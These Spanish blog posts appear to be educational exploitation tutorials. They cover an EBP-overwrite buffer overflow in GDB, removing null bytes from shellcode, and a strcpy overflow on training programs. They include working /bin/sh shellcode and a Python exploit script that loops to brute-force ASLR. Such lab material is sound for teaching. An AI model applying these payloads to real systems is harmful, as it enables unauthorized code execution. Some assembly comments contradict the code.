Hace momentos, haciendo unos ejercicios, para mostrar en una charla que debo dar mañana sobre Buffer Overflow, me encontre con el siguiente ejemplo. Es un programita escrito en C, que pide dos argumentos de entrada. El primer argumento no nos permite modificar ni pisar ningún registro. Solo nos deja meter datos en el Stack. El segundo argumento nos permite modificar algunos registros bastante utiles, tales como EAX, EDX, ESI y también EBP, el cual nos puede llevar a modificar el mismo EIP! y apuntarlo a donde nosotros desiemos, como puede ser nuestra shellcode.

Código de fuentes

#include <stdio.h>
#include <string.h>

fvuln(char *temp1, char *temp2)
{
   char name[512];
   strcpy(name, temp2);
   printf("Hello, %s %s\n", temp1, name);
}

int main(int argc, char *argv[])
{
   fvuln(argv[1],argv[2]);
   printf("Bye %s %s\n", argv[1], argv[2]);
   return 0;
}

Como vemos, existe la funcion fvuln, la cual crea un buffer de una logitud de 512 bytes, y utiliza la función altamente vulnerable strcpy. Sobre aqui trabajaremos.

La acción

Como primer punto debemos compilar este pequeño programa utilizando gcc (yo utilizo la versión 4.4.2 – el cual no utiliza cookies, ni nada de ello).

Bien ahora solo nos queda abrir GDB (o el debugger que mas les guste), y comenzar a trabajar (tengamos en cuenta que esto esta recontra hardcodeado). Y desensamblamos main y fvuln:

(gdb) disas main
Dump of assembler code for function main:
0x08048412 :   push   ebp
0x08048413 :   mov    ebp,esp
0x08048415 :   and    esp,0xfffffff0
0x08048418 :   sub    esp,0x10
0x0804841b :   mov    eax,DWORD PTR [ebp+0xc]
0x0804841e :   add    eax,0x8
0x08048421 :   mov    edx,DWORD PTR [eax]
0x08048423 :   mov    eax,DWORD PTR [ebp+0xc]
0x08048426 :   add    eax,0x4
0x08048429 :   mov    eax,DWORD PTR [eax]
0x0804842b :   mov    DWORD PTR [esp+0x4],edx
0x0804842f :   mov    DWORD PTR [esp],eax
0x08048432 :   call   0x80483d4 
0x08048437 :   mov    eax,DWORD PTR [ebp+0xc]
0x0804843a :   add    eax,0x8
0x0804843d :   mov    ecx,DWORD PTR [eax]
0x0804843f :   mov    eax,DWORD PTR [ebp+0xc]
0x08048442 :   add    eax,0x4
0x08048445 :   mov    edx,DWORD PTR [eax]
0x08048447 :   mov    eax,0x804853e
0x0804844c :   mov    DWORD PTR [esp+0x8],ecx
0x08048450 :   mov    DWORD PTR [esp+0x4],edx
0x08048454 :   mov    DWORD PTR [esp],eax
0x08048457 :   call   0x804830c

0x0804845c :   mov    eax,0x0
0x08048461 :   leave
0x08048462 :   ret
End of assembler dump.

(gdb) disas fvuln
Dump of assembler code for function fvuln:
0x080483d4 :  push   ebp
0x080483d5 :  mov    ebp,esp
0x080483d7 :  sub    esp,0x218
0x080483dd :  mov    eax,DWORD PTR [ebp+0xc]
0x080483e0 :  mov    DWORD PTR [esp+0x4],eax
0x080483e4 :  lea    eax,[ebp-0x208]
0x080483ea :  mov    DWORD PTR [esp],eax
0x080483ed :  call   0x80482fc 
0x080483f2 :  mov    eax,0x8048530
0x080483f7 :  lea    edx,[ebp-0x208]
0x080483fd :  mov    DWORD PTR [esp+0x8],edx
0x08048401 :  mov    edx,DWORD PTR [ebp+0x8]
0x08048404 :  mov    DWORD PTR [esp+0x4],edx
0x08048408 :  mov    DWORD PTR [esp],eax
0x0804840b :  call   0x804830c

0x08048410 :  leave
0x08048411 :  ret
End of assembler dump.
(gdb) 

Como vemos en 0x080483ed de fvuln hace un call la función strcpy, ya sabemos de que podemos vulnerarlo!.
Vamos a ejecutarlo, e intentaremos de ver que registros podemos escribir (para ahorrar tiempo les digo que a 520 caracteres el programa cae y pisa el registr que nos interesa EBP – Prueben lo que quieran, que EIP no es accesible directamente :P ).

(gdb) r `python -c 'print "\x41"*520+"\x42\x42\x42\x42"'`
Program received signal SIGSEGV, Segmentation fault.
0xb7ef72b0 in strcpy () from /lib/libc.so.6

(gdb) i r
eax            0xbfffea90       0xbfffea90
ecx            0xf78f118a       0xf78f118a
edx            0x0      0x0
ebx            0xb7fc5ff4       0xb7fc5ff4
esp            0xbfffea70       0xbfffea70
ebp            0x42424242       0x42424242
esi            0xbfffea8f       0xbfffea8f
edi            0x0      0x0
eip            0xb7ef72b0       0xb7ef72b0 
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     0x73
ss             0x7b     0x7b
ds             0x7b     0x7b
es             0x7b     0x7b
fs             0x0      0x0
gs             0x33     0x33

Como vemos directamente no podemos sobreescribir ningún registro!, a excepto de EBP.

Bien el Extended Base Pointer puede llevarnos a ganar nuestra preciada shell. Lo que sucede es que cuando se ingresa a una función (fvuln en este caso), el programa debe saber donde se encontraba anteriormente para poder continuar. Entonces ese valor se pushea al stack y se levanta como EIP al salir del mismo. Nosotros podemos pisar EBP, luego pushear al stack un EIP falso y asi lograr nuestro objetivo. Vamos a poner un breakpoint en 0x080483f2 y ejecutamos pasandole 520 “\x41″ como padding, “\x42\x42\x42\x42″ como EBP y “\xff\xff\xff\xff” como EIP falso.Veamos que sucede:

(gdb) break *0x080483f2
Breakpoint 1 at 0x80483f2
(gdb) r a `python -c 'print "\x41"*520+"\x42\x42\x42\x42"+"\xff\xff\xff\xff"'`
(gdb) s
Single stepping until exit from function fvuln,
which has no line number information.
Hello, e/tty0/Security/Insecure-Programming/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

Program received signal SIGSEGV, Segmentation fault.
0xffffffff:     Error while running hook_stop:
Cannot access memory at address 0xffffffff
0xffffffff in ?? ()
(gdb) i r
eax            0x243    0x243
ecx            0xbfffea58       0xbfffea58
edx            0xb7fc7320       0xb7fc7320
ebx            0xb7fc5ff4       0xb7fc5ff4
esp            0xbfffec90       0xbfffec90
ebp            0x42424242       0x42424242
esi            0x0      0x0
edi            0x0      0x0
eip            0xffffffff       0xffffffff
eflags         0x10292  [ AF SF IF RF ]
cs             0x73     0x73
ss             0x7b     0x7b
ds             0x7b     0x7b
es             0x7b     0x7b
fs             0x0      0x0
gs             0x33     0x33

Si prestan atención, habrán notado el siguiente mensaje: Cannot access memory at address 0xffffffff por lo cual quiere decir, que en algún momento el registro EIP tuvo el valor 0xffffffff que fue uno de los valores que le pasamos en el string que inyectamos. Bien!, eso era lo que buscabamos. Hagamos un backtrace para ver que es lo que hay:

(gdb) bt
#0  0xffffffff in ?? ()
#1  0xbfffef00 in ?? ()
#2  0xbfffef2d in ?? ()
#3  0x0804848b in __libc_csu_init ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

Era como pensabamos, el EIP en algún momento apunto a 0xffffffff. La cual es una posición de memoria inexistente y combinado con el overflow hiso crashear al programa.
Veamos la memoria, a ver si encontramos alguna otra cosa interesante:

(gdb) x/700h $esp
0xbfffef10:     0x6e49  0x6573  0x7563  0x6572  0x502d  0x6f72  0x7267  0x6d61
0xbfffef20:     0x696d  0x676e  0x612f  0x6f2e  0x7475  0x6100  0x4100  0x4141
0xbfffef30:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef40:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef50:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef60:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef70:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef80:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef90:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffefa0:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141

Aqui tenemos los 0x41 (“A” en hexadecimal), que hemos pasado como padding, podriamos reemplazar estos "\x41", por unos NOPs (0x90), y poner nuestra shellcode alli, para que EIP apunte a ella y nos regale una shell. La shellcode que voy a utilizar es para Linux x86, ejecuta /bin/sh y tiene una longitud de 24 bytes. Es la siguiente:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Ahora que ya tenemos nuestra shellcode podemos seguir armando nuestro string. El formato que vamos a utilizar va a ser:

496 bytes de NOP + 24 bytes de Shellcode + EBP + EIP = 520 Bytes

Como vimos en el punto anterior los "\x41" comienzan a partir de la posicion 0xbfffef30. Entonces alli deberia apuntar nuestro EIP. Vamos a ejecutar y ver que sucede:

(gdb) r a `python -c 'print "\x90"*496+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"\x42\x42\x42\x42"+"\x30\xef\xff\xbf"'`
Hello, e/tty0/Security/Insecure-Programming/a.out ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ̀BBBB0���
Executing new program: /bin/bash
sh-4.0$ 

Y bien! hemos conseguido, la shell. :D La verdad esta técnica esta buena para todos aquellos casos en los cuales no podemos escribir EIP directamente, si utilizamos ASLR, podriamos bruteforcearlo metiendolo en un bucle while, hasta que en algún momento caiga donde esta nuestra shellcode. Esto va a depender del básico principio de entropia. Dependiendo de nuestra memoria virtual, entre otras cosas. Espero que les haya gustado.

Tags: , , , , , ,

En una shellcode los bytes Null (0×00), son tomados como final string, haciendo que una shellcode stopee (o se pare), este es un ejemplo hipotetico que no sirve para nada, pero queria mostrar como podemos eliminarlos, así que espero que no tomen esto como un tutorial sobre como escribir shellcodes, simplemente tenia ganas de mostrar esto y punto.

En un principio tenemos las siguientes instrucciones en Ensamblador para Intel x86:

SEGMENT .text
 mov eax, 4             ; put the value 4 into eax (syscall number of write)
 mov ebx, 1             ; put the value 1 into ebx (stdout, int fd)
 mov ecx, message       ; put a pointer to message in ecx
 mov edx, 12            ; put the value 29 into edx (size_t len)
 int 80h                ; enter kernel mode

 mov eax, 1             ; put the value 1 into eax (syscall number of exit)
 mov ebx, 0             ; put the value 0 into ebx (int status)
 int 80h                ; enter kernel mode

 message db 'Game Over?', 7, 10

Si analizamos instrucción por instrucción, vemos que nuestro programa solamente imprime el mensaje “Game Over” por la pantalla (STDOUT). ¿Como lo hace?.

mov eax, 4

En esta instrucción movemos el valor 4 dentro de el registro de proposito general EAX, en este registro debe posicionarse el número o codigo de llamada al sistema que nosotros queremos realizar, en este caso la syscall 4 es write, que simplemente escribe lo que nosotros le decimos.

mov ebx, 1

Para que la syscall sepa que hacer al escribir el mensaje, debemos decirle que el mismo debe salir por la salida estandar o STDOUT (Standart Output), para ello posicionamos el valor 1, que significa STDOUT en el registro EBX.

mov ecx, message

Nosotros hemos definido un mensaje en la última línea de nuestro programa:

message db 'Game Over?', 7, 10

.
Por lo cual en esta instrucción movemos nuestro mensaje al registro de proposito general ECX.

mov edx, 12

Aquí le decimos el ultimo parametró que necesita la syscall write, la longitud de la cadena que queremos escribir, asi que nuestra syscall quedaria mas o menos asi:

write(STDOUT, STRING, LENG)

.
STDOUT, STRING, y LENG, debemos proporsionarlo moviendo estos valores en los registros, ya que sabemos que el registro que contiene el numero de llamada al sistema es EAX, por lo cual el resto de argumentos debe colocarse en el resto de registros generales.

 int 80h

El procesador trabaja utilizando un sistema de rings, los rings definen los permisos con los que se puede acceder a los recursos, el usuario, trabaja en un ring 3 generalmente, teniendo que producir llamadas al sistema para hacer que algún tipo de evento se produsca (cambiar de directorio, reiniciar, crear un archivo), aquí nosotros hemos preparado los registros para producir la syscall write, y ahora solamente nos quedaría cambiar al kernel mode (supervisor o ring 0), haciendolo con la instrucción int 80h.
En este momento hemos escrito por la salida standart, el mensaje que hemos definido nosotros (‘Game Over’). Ahora solo nos resta salir limpiamente.

mov eax, 1

La syscall tal vez mas simple sea exit, su código es 1, entonces para producirla movemos 1 al registro eax.

mov ebx, 1

Ahora debemos mover un valor entero dentro del registro EBX, que sera el estado de salida, nosotros movemos 1 dentro de EBX.

int 80h

Y cambiamos a kernel mode con la intrucción int 80h. Ya hemos finalizado limpiamente.

Ahora si compilamos esto, podremos ver que lo aquí explicado sucede por su pantalla.

$: nasm -f elf write
$: ld -o write write.o
$: ./write
Game Over

¿Sencillo verdad?, Bien si quisieramos utilizar esto como shellcode no nos serviria demasiado, ya que si miramos el binario con objdump se encuentra lleno de nulls, veamoslo:

$: objdump -d write
write:     file format elf32-i386
Disassembly of section .text:

08048060 :
 8048060:       b8 04 00 00 00          mov    $0x4,%eax
 8048065:       bb 01 00 00 00          mov    $0x1,%ebx
 804806a:       b9 82 80 04 08          mov    $0x8048082,%ecx
 804806f:       ba 1d 00 00 00          mov    $0x1d,%edx
 8048074:       cd 80                   int    $0x80
 8048076:       b8 01 00 00 00          mov    $0x1,%eax
 804807b:       bb 00 00 00 00          mov    $0x0,%ebx
 8048080:       cd 80                   int    $0x80

08048082 :
 8048082:       6b 65 72 6e             imul   $0x6e,0x72(%ebp),%esp
 8048086:       65                      gs
 8048087:       6c                      insb   (%dx),%es:(%edi)
 8048088:       65 64 3a 20             cmp    %fs:%gs:(%eax),%ah
 804808c:       61                      popa
 804808d:       72 65                   jb     80480f4 
 804808f:       20 79 6f                and    %bh,0x6f(%ecx)
 8048092:       75 20                   jne    80480b4 
 8048094:       6b 65 72 6e             imul   $0x6e,0x72(%ebp),%esp
 8048098:       65                      gs
 8048099:       6c                      insb   (%dx),%es:(%edi)
 804809a:       65                      gs
 804809b:       64                      fs
 804809c:       3f                      aas
 804809d:       07                      pop    %es
 804809e:       0a                      .byte 0xa

Si miramos bien tenemos unos cuantos null, en las siguientes instrucciones:

mov    $0x4,%eax
mov    $0x1,%ebx
mov    $0x1d,%edx
mov    $0x1,%eax
mov    $0x0,%ebx

Esto sucede por que estamos moviendo valores muy pequeños dentro de registros muy grandes ya que EAX, EBX, EDX son registros de 32 bits, por suerte existen “subregistros” mas pequeños, AX, BX, y DX, que son de 16 bits, que a su vez se subdividen en AH (H de Hight), AL (L de Low), BH, BL, DH, DL. Lo que podemos hacer es modificar nuestro código en Ensamblador, y mover a “subregistros” más pequeños:

SEGMENT .text mov al, 4 ; put the value 4 into eax (syscall number of write) mov bl, 1 ; put the value 1 into ebx (stdout, int fd) mov ecx, message ; put a pointer to message in ecx mov dl, 12 ; put the value 29 into edx (size_t len) int 80h ; enter kernel mode mov ax, 1 ; put the value 1 into eax (syscall number of exit) mov bl, 1 ; put the value 0 into ebx (int status) int 80h ; enter kernel mode message db 'Game Over?', 7, 10

Compilamos esto y lo ejecutamos

$: nasm -f elf write
$: ld -o write write.o
$: ./write
Game Over

Y efectivamente funciona y bién ahora si hacemos un objdump:

$: objdump -d write write: file format elf32-i386 Disassembly of section .text: 08048060 : 8048060: b0 04 mov $0x4,%al 8048062: b3 01 mov $0x1,%bl 8048064: b9 75 80 04 08 mov $0x8048075,%ecx 8048069: b2 0c mov $0xc,%dl 804806b: cd 80 int $0x80 804806d: 66 b8 01 01 mov $0x1,%ax 8048071: b3 01 mov $0x1,%bl 8048073: cd 80 int $0x80 08048075 : 8048075: 47 inc %edi 8048076: 61 popa 8048077: 6d insl (%dx),%es:(%edi) 8048078: 65 20 4f 76 and %cl,%gs:0x76(%edi) 804807c: 65 gs 804807d: 72 3f jb 80480be 804807f: 07 pop %es 8048080: 0a .byte 0xa

Y nuestros NULL han desaparecido, también podemos aplicar otras técnicas como XOR, así de esta forma convertimos en uno aquellas instrucciones que nos producen cero. Nuestro OPCode queda reducido a:

"\xb0\x04\xb3\x01\xb9\x75\x80\x04\x08\xb2\x0c\xcd\x80"
"\x66\xb8\x01\x01\xb3\x01\xcd\x80\x47\x61\x6d\x65\x20
"\x4f\x76\x65\x72\x3f\x07\x0a"

Podemos embeber esto dentro de un programita en C, para probar si funciona:

char scode[] = "\xb0\x04\xb3\x01\xb9\x75\x80\x04\x08"
               "\xb2\x0c\xcd\x80\x66\xb8\x01\x01\xb3"
               "\x01\xcd\x80\x47\x61\x6d\x65\x20\x4f"
               "\x76\x65\x72\x3f\x07\x0a";

int main() {
  int *ret;
  ret = (int *)&ret;
  (*ret) = (int)scode;
}

Compilamos y ejecutamos!

$: gcc scode.c -o scode
$: ./scode
Game Over

Bueno espero que les halla gustado!, nos vemos en la próxima!.
~

Tags: , , , , , ,

Hoy por la mañana realize este vidéo en el que muestro como explotear un bug de Buffer Overflow, en un programa escrito en C vulnerable, al hacer uso de la función strcpy y por ende, no validad los datos de entrada.

El código de fuentes del programa vulnerable es:

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] ) {
        char buffer[1024];
        if ( argc != 2 ) {
                printf("Uso: %s argumenton", argv[0] );
                return( -1 );
        }

        strcpy( buffer, argv[1]);
        printf( "Argumento copiadon" );

        return(0);
}

Y la shellcode que utilize para Linux x86 (ejecuta /bin/sh – 24 bytes) es:

char shellcode[] =
"\x99"                         // cltd
"\x31\xc0"                     // xor    %eax,%eax
"\x52"                         // push   %edx
"\x68\x6e\x2f\x73\x68"         // push   $0x68732f6e
"\x68\x2f\x2f\x62\x69"         // push   $0x69622f2f
"\x89\xe3"                     // mov    %esp,%ebx
"\x52"                         // push   %edx
"\x53"                         // push   %ebx
"\x89\xe1"                     // mov    %esp,%ecx
"\xb0\x0b"                     // mov    $0xb,%al
"\xcd\x80";                    // int    $0x80

int main() {
        void (*p)();
        p = (void *)&shellcode;
        printf("Lenght: %d\n", strlen(shellcode));
        p();
}

Pueden utilizar el siguiente exploit (que escribi hace un momento en Python), para obtener el mismo resultado:

#!/usr/bin/env python
####################################################
# ABO2 Exploit |  June 06 2009                     #
# Tested on ArchLinux - Kernel 2.6.29 - i686       #
#                                                  #
# Developed by _tty0                               #
# tty0 <at> codigounix.com.ar                      #
# http://www.codigounix.com.ar/                    #
#                                                  #
# Usage: $> pyhon exploit-abo2.py binary           #
####################################################
import os
import sys
import time

class Exploit:
   """Exploit the indicate programa"""

   def __init__(self):
      if len(sys.argv) <> 2:
         print "\n[*] Usage: python exploit-abo2.py /path/binary\n"
         exit()
      else:
         self.arg2=sys.argv[1]
         # Command=/bin/sh Size=24 bytes Bind=No         
         self.shellcode = ("\x99\x31\xc0\x52\x68\x6e\x2f\x73"
                           "\x68\x68\x2f\x2f\x62\x69\x89\xe3"
                           "\x52\x53\x89\xe1\xb0\x0b\xcd\x80")                    

         self.payload  = '\x41'*1036            # Padding 0x41 (A)
         self.payload += '\x70\x9b\x99\xbf'     # Return Address -> 0xbf999b70
         self.payload += '\x90'*10000           # 0x90 (NOP) x 10000

   def loop(self):
      print "\n[+] Starting Explotation...\n"
      time.sleep(2)

      while True:
         os.system(self.arg2 + ' ' + self.payload + self.shellcode)

"""Start execution"""
if __name__ == '__main__':
   print "\n[*] "+"="*40
   print "[*] Exploit by _tty0"
   print "[*] http://wwww.codigounix.com.ar/"
   print "[*] tty0 <at> codigounix.com.ar"
   print "[*] "+"="*40

   union=Exploit()
   conector=union.loop()
exit()
# EOF

Tags: , , , , , , ,

Creative Commons License
Esta obra es publicada bajo una licencia Creative Commons.